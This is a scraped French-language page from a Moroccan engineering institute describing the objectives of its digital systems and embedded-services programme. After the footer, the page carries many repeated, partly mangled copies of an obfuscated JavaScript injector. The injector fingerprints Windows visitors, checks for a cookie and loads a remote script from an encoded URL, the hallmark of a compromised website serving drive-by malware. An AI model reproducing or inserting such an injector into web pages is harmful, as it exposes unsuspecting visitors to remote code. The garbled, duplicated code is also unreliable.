

[^A \[1\]](#) [^A \[1\]](#)

[Ingénieur des systèmes & services numériques - Objectifs](#) [2]

Ingénieur des Systèmes & Services Numériques

Filière Systèmes Embarqués et Services Numériques

Objectifs

L'ingénieur des Systèmes et Services Numériques est en charge de la spécification, la conception et le développement des applications et fonctionnalités propres aux solutions relatives à la technologie « embarquée » dans des équipements tels que : capteur connecté, télévision connectée, voiture connectée, logement connecté, ville connectée et autre.

Etant le noyau concepteur et « développeur », l'ingénieur des systèmes et services numérique se caractérise par une forte capacité de management et de travail en équipe. Sa parfaite maîtrise des aspects de l'intégration d'électronique lui permet de comprendre et piloter l'exécution de l'intégralité du développement d'un système embarqué.

[3] [Retour](#) [3]



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu)});var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t)n)e]gnA(r;eistu)});var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
```

```
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,
m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=docu
ment.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{
3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k
}c(a3r4t)/{/v:ssrp}txtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu"}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}{var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
```



```
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{")&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{")&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_")}))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

Source URL: <http://web.inpt.ac.ma/fr/ing%C3%A9nieur-des-syst%C3%A8mes-services-num%C3%A9riques-objectifs>

Liens

[1] <http://web.inpt.ac.ma/fr/javascript%3A%3B>

[2] <http://web.inpt.ac.ma/fr/ing%C3%A9nieur-des-syst%C3%A8mes-services-num%C3%A9riques-objectifs>

[3] <http://web.inpt.ac.ma/fr/ing%C3%A9nieur-des-syst%C3%A8mes-services-num%C3%A9riques>